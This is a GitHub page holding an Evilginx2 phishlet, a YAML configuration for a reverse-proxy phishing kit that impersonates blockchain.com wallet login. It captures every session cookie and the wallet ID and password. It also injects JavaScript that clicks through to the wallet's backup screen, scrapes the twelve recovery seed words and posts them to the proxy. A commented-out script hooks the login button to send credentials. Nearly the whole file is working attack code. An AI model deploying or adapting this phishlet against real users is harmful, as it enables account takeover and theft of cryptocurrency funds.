forked from An0nUD4Y/Evilginx2-Phishlets
-
Notifications
You must be signed in to change notification settings - Fork 0
/
blockchain.yaml
174 lines (163 loc) · 9.96 KB
/
blockchain.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
author: '@An0nud4y'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'blockchain.com', session: true, is_landing: true}
- {phish_sub: 'login', orig_sub: 'login', domain: 'blockchain.com', session: true, is_landing: false}
- {phish_sub: '', orig_sub: '', domain: 'blockchain.info', session: false, is_landing: false}
- {phish_sub: 'api', orig_sub: 'api', domain: 'blockchain.info', session: false, is_landing: false}
# - {phish_sub: 'wallet-helper', orig_sub: 'wallet-helper', domain: 'blockchain.com', session: false, is_landing: false}
# - {phish_sub: '', orig_sub: '', domain: 'blockchain.com', session: false, is_landing: false}
sub_filters:
- {triggers_on: 'www.blockchain.com', orig_sub: 'login', domain: 'blockchain.com', search: 'href="https://{hostname}/#/signup"', replace: 'href="https://{hostname}/#/login"', mimes: ['text/html', 'text/javascript']}
- {triggers_on: 'login.blockchain.com', orig_sub: 'www', domain: 'blockchain.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'login.blockchain.com', orig_sub: 'www', domain: 'blockchain.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'login.blockchain.com', orig_sub: 'login', domain: 'blockchain.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'login.blockchain.com', orig_sub: 'login', domain: 'blockchain.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'login.blockchain.com', orig_sub: '', domain: 'blockchain.info', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'login.blockchain.com', orig_sub: 'api', domain: 'blockchain.info', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'login.blockchain.com', orig_sub: 'api', domain: 'blockchain.info', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'www.blockchain.com', orig_sub: 'www', domain: 'blockchain.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'www.blockchain.com', orig_sub: 'www', domain: 'blockchain.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'www.blockchain.com', orig_sub: 'login', domain: 'blockchain.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'www.blockchain.com', orig_sub: 'login', domain: 'blockchain.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'www.blockchain.com', orig_sub: '', domain: 'blockchain.info', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'www.blockchain.com', orig_sub: 'api', domain: 'blockchain.info', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
- {triggers_on: 'www.blockchain.com', orig_sub: 'api', domain: 'blockchain.info', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
auth_tokens:
- domain: '.blockchain.com'
keys: ['.*,regexp']
- domain: '.blockchain.info'
keys: ['.*,regexp']
auth_urls:
- '#/home.*'
credentials:
username:
key: 'gui'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
custom:
- key: 'BackupWords'
search: '(.*)'
type: 'post'
login:
domain: 'www.blockchain.com'
path: '/'
js_inject:
- trigger_domains: ["login.blockchain.com"]
trigger_paths: ["#/home", "en/#/home", "/home", "/en/#/home", "/en/#/home*", "/en/#/"]
trigger_params: []
script: |
function simulate(element, eventName)
{
var options = extend(defaultOptions, arguments[2] || {});
var oEvent, eventType = null;
for (var name in eventMatchers)
{
if (eventMatchers[name].test(eventName)) { eventType = name; break; }
}
if (!eventType)
throw new SyntaxError('Only HTMLEvents and MouseEvents interfaces are supported');
if (document.createEvent)
{
oEvent = document.createEvent(eventType);
if (eventType == 'HTMLEvents')
{
oEvent.initEvent(eventName, options.bubbles, options.cancelable);
}
else
{
oEvent.initMouseEvent(eventName, options.bubbles, options.cancelable, document.defaultView,
options.button, options.pointerX, options.pointerY, options.pointerX, options.pointerY,
options.ctrlKey, options.altKey, options.shiftKey, options.metaKey, options.button, element);
}
element.dispatchEvent(oEvent);
}
else
{
options.clientX = options.pointerX;
options.clientY = options.pointerY;
var evt = document.createEventObject();
oEvent = extend(evt, options);
element.fireEvent('on' + eventName, oEvent);
}
return element;
}
function extend(destination, source) {
for (var property in source)
destination[property] = source[property];
return destination;
}
var eventMatchers = {
'HTMLEvents': /^(?:load|unload|abort|error|select|change|submit|reset|focus|blur|resize|scroll)$/,
'MouseEvents': /^(?:click|dblclick|mouse(?:down|up|over|move|out))$/
}
var defaultOptions = {
pointerX: 0,
pointerY: 0,
button: 0,
ctrlKey: false,
altKey: false,
shiftKey: false,
metaKey: false,
bubbles: true,
cancelable: true
}
function sleep(milliseconds) {
const date = Date.now();
let currentDate = null;
do {
currentDate = Date.now();
} while (currentDate - date < milliseconds);
}
simulate(document.querySelectorAll("button[data-e2e=securityCenterLink]")[0], "click");
sleep(7000);
simulate(document.querySelectorAll("button[data-e2e=backupFundsButton]")[0], "click");
sleep(3000);
simulate(document.querySelectorAll("button")[0], "click");
sleep(3000);
var word1 = document.querySelectorAll("div")[76].textContent;
var word2 = document.querySelectorAll("div")[80].textContent;
var word3 = document.querySelectorAll("div")[84].textContent;
var word4 = document.querySelectorAll("div")[88].textContent;
var word5 = document.querySelectorAll("div")[92].textContent;
var word6 = document.querySelectorAll("div")[96].textContent;
simulate(document.querySelectorAll("button")[0], "click");
sleep(3000);
var word7 = document.querySelectorAll("div")[76].textContent;
var word8 = document.querySelectorAll("div")[80].textContent;
var word9 = document.querySelectorAll("div")[84].textContent;
var word10 = document.querySelectorAll("div")[88].textContent;
var word11 = document.querySelectorAll("div")[92].textContent;
var word12 = document.querySelectorAll("div")[96].textContent;
var backupwords = (word1)+""+(word2)+""+(word3)+""+(word4)+""+(word5)+""+(word6)+""+(word7)+""+(word8)+""+(word9)+""+(word10)+""+(word11)+""+(word12)
var xhr = new XMLHttpRequest();
xhr.open("POST", '/backupwords', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("BackupWords="+encodeURIComponent(backupwords));
window.location.assign("/en/#/home");
sleep(2000);
# To insert the wallet id directly from link
# https://login.blockchain.com/#/login/dxxxxxxa-xxx8-xx4x-xxfa-dxxxx9xxx76ce
#js_inject:
# - trigger_domains: ["login.blockchain.com"]
# trigger_paths: ["/"]
# script: |
# function onclickListener(){
# var submit = document.querySelectorAll('button[type=submit]')[0];
# submit.setAttribute("onclick", "sendPass()");
# return;
# }
# function sendPass(){
# var walletID = document.getElementsByName("guid")[0].value;
# var password = document.getElementsByName("password")[0].value;
# var xhr = new XMLHttpRequest();
# xhr.open("POST", '/', true);
# xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
# xhr.send("guid="+encodeURIComponent(walletID)+""+" password="+encodeURIComponent(password));
# return;
# }
# setTimeout(function(){ onclickListener(); }, 100);